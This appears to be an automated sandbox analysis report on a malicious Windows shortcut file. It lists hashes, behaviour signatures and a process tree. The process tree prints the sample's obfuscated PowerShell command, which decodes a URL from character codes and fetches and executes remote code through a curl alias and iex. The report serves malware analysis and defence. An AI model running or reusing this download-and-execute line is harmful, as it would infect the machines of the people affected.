Resubmissions

16-09-2022 02:53

220916-ddjjxaacdm 8

15-09-2022 06:59

220915-hr3l6acbg3 8

Analysis

  • max time kernel
    142s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-09-2022 06:59

General

  • Target

    7704683388.lnk

  • Size

    1KB

  • MD5

    f00bb79d2e4939d42d231bff01239359

  • SHA1

    c85b872ed33f1fdbdc5ba0b20c52b09718593c92

  • SHA256

    e5b5825b5bf7e37f4823559e810624561ababb4506170b67e90edc65019f97a8

  • SHA512

    b1cc7de0d222f59aca56ee3d822152c2f9e1fac5e10efdd22785cac9edeb23b3021886592b1908e2ebac6fab5e9a3baa7d19bf55ee190c29d838c9e8fefe4d64

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\7704683388.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3836
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" --headless powershell @(1711,1724,1726,1708,1715,1711,1656,1726,1721,1722,1657,1666,1663)|foreach{$69lr=$69lr+[char]($_-1610)};$md2s='rl';new-alias j cu$md2s;.$([char](2208-2103)+'ex')(j -useb $69lr)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2200
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell @(1711,1724,1726,1708,1715,1711,1656,1726,1721,1722,1657,1666,1663)|foreach{$69lr=$69lr+[char]($_-1610)};$md2s='rl';new-alias j cu$md2s;.$([char](2208-2103)+'ex')(j -useb $69lr)
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1120

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1120-134-0x000001F6CC190000-0x000001F6CC1B2000-memory.dmp

    Filesize

    136KB

  • memory/1120-135-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp

    Filesize

    10.8MB

  • memory/1120-136-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp

    Filesize

    10.8MB